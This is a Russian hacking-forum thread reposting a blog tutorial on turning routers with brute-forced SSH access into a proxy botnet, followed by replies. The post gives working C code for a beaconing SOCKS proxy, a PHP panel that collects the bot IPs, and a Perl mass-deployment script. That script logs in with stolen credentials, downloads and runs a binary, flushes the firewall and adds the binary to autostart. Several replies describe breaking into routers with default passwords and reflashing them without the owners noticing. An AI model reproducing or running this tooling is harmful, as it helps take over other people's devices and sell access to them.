Новости из Блогов Прокси-ботнет из роутеров

Discussion in 'Мировые новости. Обсуждения.' started by Suicide, 31 Mar 2012.

  1. Suicide

    Suicide Super Moderator
    Staff Member

    Joined:
    24 Apr 2009
    Messages:
    2,482
    Likes Received:
    7,053
    Reputations:
    693
    Прокси-ботнет из роутеров


    [​IMG]

    В 2010 году, в период тестирования SSH Bruteforce'a одним хорошим человеком, я узнал, что на Европейских диапазонах IP-адресов попадается приличное количество SSH-доступов к всевозможным роутерам. Наиболее частыми среди них оказались роутеры с MIPS-процессором [http://ru.wikipedia.org/wiki/MIPS_(архитектура)] и известной кастомной прошивкой DD-WRT.
    Казалось бы, особой пользы с них не извлечь, но ещё тогда был предложен вариант использования их в качестве прокси. До тестирования концепции на тот момент руки не дошли, а сегодня я как раз разбирал старые архивы и решил попробовать собрать рабочий пример под подобный роутер. Благо, у меня валяется парочка таких. Стоит отметить, что поднятие прокси-серверов на роутерах также обладает всем известной спецификой, которая заключается в том, что у провайдеров часто используются динамические IP, поэтому, естественно, прокси-сервер должен сообщать свой текущий IP некой веб-админке.

    В качестве прокси-сервера я остановился на Satanic Socks Server: RDot edition, но с самодельной модификацией, которая добавляет периодические веб-запросы к админке, чтобы отслеживать актуальный IP роутера. В этой реализации нет поддержки доступа по паролю (актуально, если вам необходим некий пул прокси, чисто для себя), но в более старых версиях она есть, и любой при желании сможет её добавить. Итак, немного дефайнов:
    Code:
    //Хост, где будет размещаться агрегатор прокси
    #define Q_HOST "sample.ru"
    //Адрес скрипта
    #define Q_URI "/in.php"
    //Порт
    #define Q_PORT 80
    //Интервал между обращениями к веб-серверу (мс)
    #define Q_INTERVAL 5000
    //Скелет веб-запроса
    #define Q_TPL "GET %s HTTP/1.0\r\nHost: %s\r\n\r\n"
    Метод, совершающий веб-запросы:

    Code:
    void * do_request(void * junk)
    {
        char * query;
        SOCKET sock;
        struct sockaddr_in remote;
        struct hostent * p;
     
        while(1)
        {
            usleep(Q_INTERVAL * 1000);
     
            sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
            if(sock < 0)
            {
                continue;
            }
     
            p = gethostbyname(Q_HOST);
            if(!p)
            {
                continue;
            }
     
            memset(&remote, 0, sizeof(struct sockaddr_in));
     
            remote.sin_family = AF_INET;
            remote.sin_port = htons(Q_PORT);
            remote.sin_addr.s_addr = *(unsigned long*)(p->h_addr);
     
            if(connect(sock, (struct sockaddr *)&remote, sizeof(struct sockaddr_in)) < 0)
            {
                continue;
            }
     
            query = (char *) malloc(sizeof(Q_TPL) + sizeof(Q_HOST) + sizeof(Q_URI));
            sprintf(query, Q_TPL, Q_URI, Q_HOST);
     
            send(sock, query, strlen(query), 0);
     
            close(sock);
            free(query);
        }
    }
    Также необходимо добавить запуск потока в функцию main, который будет выполнять вышеописанную функцию (раз уж в SSS используются потоки).
    Code:
    pthread_create(&thread, &attr, do_request, NULL);
    Все, измененный код сокс-сервера готов.
    Теперь очередь админки. Писать будем на PHP, админка будет очень простой и будет обладать следующими возможностями: запись содержимого REMOTE_ADDR в файл, вывод списка доступных прокси по паролю. Исходный код админки:
    PHP:
    <?php
    error_reporting
    (0);
    //Имя файла, где будет храниться список прокси
    $proxy_file 'list.txt';
    //Порт прокси (прокси поднимают на одинаковом порту)
    $proxy_port 11235;
    //Ключ для доступа к списку прокси
    $key md5('123456');
    $c_time time();
    //Время, после которого прокси выбрасывается из списка (мс)
    $life_time 3600;
     
    if(isset(
    $_REQUEST['add']))
    {
        
    $fh fopen($proxy_file'r+');
        if(
    $fh)
        {
            
    $is_present 0;
            
    $proxy_list = array();
     
            
    flock($fhLOCK_EX);
     
            while((
    $buffer trim(fgets($fh32))) !== false)
            {
                list(
    $ip$time) = explode(':'$buffer);
                if(
    $SERVER['REMOTE_ADDR'] == $ip)
                {
                    
    $is_present 1;
                }
     
                if(
    $c_time $time $life_time)
                {
                    
    $proxy_list[] = "{$ip}:{$time}";
                }
            }
     
            
    ftruncate($fh0);
     
            if(!
    $is_present)
            {
                
    fwrite($fh"{$SERVER['REMOTE_ADDR']}:{$c_time}\n");
            }
     
            foreach(
    $proxy_list as $proxy)
            {
                
    fwrite($fh"{$proxy}\n");
            }
     
            
    flock($fhLOCK_UN);
            
    fclose($fh);
        }
    }
    else if
    (
        (isset(
    $_REQUEST['pkey']) && !empty($_REQUEST['pkey']) && !is_array($_REQUEST['pkey']))
        &&
        (
    md5($_REQUEST['pkey']) == $key)
    )
    {
        
    $fh fopen($proxy_file'r');
        if(
    $fh)
        {
            
    flock($fhLOCK_EX);
     
            while((
    $buffer trim(fgets($fh32))) !== false)
            {
                list(
    $ip$time) = explode(':'$buffer);
                echo 
    "{$ip}:{$proxy_port}\n";
            }
     
            
    flock($fhLOCK_UN);
            
    fclose($fh);
        }
    }
    ?>
    Чтобы файл с прокси не был доступен из веба, следует в директории с пхп-скриптом создать файл .htaccess со следующим содержанием:
    Code:
    <Files list.txt>
        order allow,deny
        deny from all
    </Files>
    На данном этапе перед нами стоит задача сборки прокси-сервера под MIPS архитектуру и дальнейшая загрузка получившихся бинарников на роутеры, а также прописывание их в автозапуск (вдруг роутер перезагрузится). Для сборки необходимо настроить среду кросс-компиляции. Тут можно пойти двумя путями: либо найти готовый toolchain, либо сделать его самому. Так как мне было лень что-то там собирать, то я просто скачал готовые тулчейны по адресу: ftp://dd-wrt.com/others/sourcecode/toolchains/current-toolchains.tar.bz2 и закинул их на 64-битную виртуальную машину с Ubuntu. Далее я пользовался компилятором из директории toolchain-mipsel_3.3.6*. Компилируется все без особых проблем, поэтому подробно освещать этот аспект не буду. Могут возникнуть проблемы совместимости с некоторыми роутерами, но, в принципе, никто не мешает скомпилировать несколько вариантов бинарников и реализовать несложный алгоритм определения версии прошивки и ядра ОС, а потом загружать соответствующий бинарник.

    Теперь напишем простой скрипт, который будет загружать получившийся бинарник на роутер, добавлять его в автозапуск и запускать. Также скрипт будет выполнять ещё несколько полезных команд, которые необходимы, чтобы все нормально работало под DD-WRT. Для работы скрипта нам понадобится модуль Net::SSH::perl и один из следующих модулей: Math::BigInt::GMP / Math::BigInt::pari / Math::BigInt::BitVector. Исходный код:
    Code:
    use strict;
    use warnings;
    use Net::SSH::Perl;
     
    #ip:login:pass
    my $ifile = 'list.txt';
    #Адрес, с которого будет грузиться исполняемый файл
    my $file_uri = 'http://sample.com/file';
    #Имя, под которым загруженный файл будет сохранен
    my $save_name = 'smth';
    #Команда запуска файла
    my $start_cmd = "./$save_name 'ps'";
     
    $| = 1;
    my @cmds =
    (
        #Скачиваем файл и сохраняем в /tmp/
        'wget '.$file_uri.' -O /tmp/'.$save_name,
        #Выставляем права
        'chmod +x /tmp/'.$save_name,
        #Сбрасываем правила фильтрации входящего трафика
        '/usr/sbin/iptables --flush INPUT',
        #Запускаем файл
        '/tmp/'.$start_cmd,
        #Прописываем в автозапуск
        '/usr/sbin/nvram set rc_startup="/tmp/'.$start_cmd.'"',
        '/usr/sbin/nvram commit'
    );
     
    open F, '<', $ifile or die $!;
    while(<F>)
    {
        chomp(my $line = $_);
     
        my($ip, $login, $pass) = split /[:;]/, $line;
        if($ip && $login && $pass)
        {
            my $ssh = Net::SSH::Perl->new($ip, protocol => 2);
            eval
            {
                $ssh->login($login, $pass);
            };
     
            unless($@)
            {
                print '[+]', $login, ':', $pass, $/;
                $ssh->cmd(join ';', @cmds);
            }
            else
            {
                print '[-]', $login, ':', $pass, $/;
            }
        }
        else
        {
            print 'Malformed line', $/;
        }
    }
    close F;
     
    print 'Done', $/;
    Абсолютные пути в массиве @cmds обусловлены особенностью устройства модуля Net::SSH::perl. При исполнении очередной команды он как бы не дожидается возврата управления консоли и исполняет очередную команду в отдельном "инстансе".
    Комплект готов, теперь любой из Вас сможет с пользой утилизировать добытые доступы к роутерам и, может быть, организовать свой сервис по продаже прокси.

    Исходные коды: скачать


    Запись 30. Март 2012
    автор: Kaimi
    http://kaimi.ru/
    http://kaimi.ru/2012/03/router-based-proxy-botnet/#more-2997
     
    _________________________
    drdlle, link-link, psihoz26 and 2 others like this.
  2. shell_c0de

    shell_c0de Hack All World

    Joined:
    7 Jul 2009
    Messages:
    1,167
    Likes Received:
    617
    Reputations:
    690
    Kaimi +1, надо было и Типси указать в соавторстве)
     
    _________________________
  3. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    На TP-Linkax подобное делал... Только не ботнет. Проксик нужен?! Насканил IP с 80 портом, зашел admin:admin, дальше настройка прокси :)
     
  4. shellz[21h]

    shellz[21h] Elder - Старейшина

    Joined:
    20 Dec 2007
    Messages:
    311
    Likes Received:
    68
    Reputations:
    6
    На стареньких ADSL роутерах сложнее сделать? там же нет wget и много чего, unix урезанный в доску.
     
  5. DeepBlue7

    DeepBlue7 Elder - Старейшина

    Joined:
    2 Jan 2009
    Messages:
    359
    Likes Received:
    50
    Reputations:
    12
    Code:
    #define Q_INTERVAL 5000
    
    Code:
    usleep(Q_INTERVAL * 1000);
    лолчто?
     
  6. Chrome~

    Chrome~ Elder - Старейшина

    Joined:
    13 Dec 2008
    Messages:
    936
    Likes Received:
    162
    Reputations:
    27
    С помощью usleep засыпаем на указанное количество микросекунд.
     
  7. seosimf

    seosimf Member

    Joined:
    3 Mar 2011
    Messages:
    271
    Likes Received:
    44
    Reputations:
    6
    1 микросекунда = 1E-3 секунда, 1000*5000 = 5000 секунд(3-е суток).
    ПС сорри туплю с утра по раньше.
     
    #7 seosimf, 31 Mar 2012
    Last edited: 31 Mar 2012
  8. mironich

    mironich Elder - Старейшина

    Joined:
    27 Feb 2011
    Messages:
    733
    Likes Received:
    73
    Reputations:
    19
    5 секунд будет слип.
    в сек. 1000000 микросекунд,
    Спать будет 5 сек.
    А не суток..
     
  9. GRRRL Power

    GRRRL Power Elder - Старейшина

    Joined:
    13 Jul 2010
    Messages:
    823
    Likes Received:
    185
    Reputations:
    84
    1 микросекунда = 1E-6 вообще-то
    1E-3 это милли
     
  10. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    Отлично! Какая разница, что заплатил 5 рублей, что 5 тысяч :D
     
  11. seosimf

    seosimf Member

    Joined:
    3 Mar 2011
    Messages:
    271
    Likes Received:
    44
    Reputations:
    6
    То деньги а то секунды:), ну перепутал порядок, бывает.
     
    #11 seosimf, 31 Mar 2012
    Last edited: 31 Mar 2012
  12. Chrome~

    Chrome~ Elder - Старейшина

    Joined:
    13 Dec 2008
    Messages:
    936
    Likes Received:
    162
    Reputations:
    27
    Да-да, трое суток...
     
  13. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    Он имел ввиду 1.3 часа. Ты просто не понял.
     
  14. WHBmen

    WHBmen New Member

    Joined:
    28 Dec 2010
    Messages:
    3
    Likes Received:
    1
    Reputations:
    0
    может софт под шеллы кто напишет? вручную скрипт заливать и исполнять его не вариант(
     
  15. Sys-Admin

    Sys-Admin New Member

    Joined:
    8 Jan 2016
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    Я вот хотел узнать как сделать ботнет из взломанных роутеров на 80 и 8080 портах есть база взломанных роутеров как из них сделать ботнет?
     
  16. Zeeman

    Zeeman New Member

    Joined:
    21 Apr 2011
    Messages:
    12
    Likes Received:
    1
    Reputations:
    0
    Археологъ

    стоп. А где на TP-Link'ах функция прокси? Можете тыкнуть пальцем в какое меню лезть?
     
  17. UNIXTREID

    UNIXTREID Member

    Joined:
    2 Nov 2015
    Messages:
    140
    Likes Received:
    22
    Reputations:
    1
    TP-Link'и, являясь дешёвыми китайскими устройствами, обладают по большинству "бюджетным" же функционалом. Там не то что прокси, банальных ssh и telnet порой не найдёшь...:D
    Всё зависит от моделей роутеров. Лучше всего иметь дело с микротиками - у них известно наверняка, что существует возможность настройки прокси, VPN'ов и т.п. Про остальные устройства не знаю - не приходилось поднимать прокси на них. Но это, конечно, говоря о дефолтных прошивках, с OpenWRT можно что угодно поднять (ботнет тоже, в частности), но ведь со взломанными роутерами палевно будет (((
     
  18. Zeeman

    Zeeman New Member

    Joined:
    21 Apr 2011
    Messages:
    12
    Likes Received:
    1
    Reputations:
    0
    Да я знаю что на TP-Link нет прокси, просто люди пишут можно я переспрашиваю как.
    Можно, конечно, беспалева чужой рутер перепрошить. Кстати, насколько это беспалева если даже сохранить настройки WAN/WLAN и восстановить их?
     
  19. UNIXTREID

    UNIXTREID Member

    Joined:
    2 Nov 2015
    Messages:
    140
    Likes Received:
    22
    Reputations:
    1
    Естественно, что если человек вообще далёк от этого всего (а таких, к счастью, большинство), то никогда и не полезет внутрь роутера, лишь бы инет был :) А всё-таки некоторые заходят в настройки и тут уже опытному юзеру будет очень удивительно узреть красивый вид OpenWRT вместо привычного дизайна родной прошивки. В оформлении, конечно, всё и палево.
     
Loading...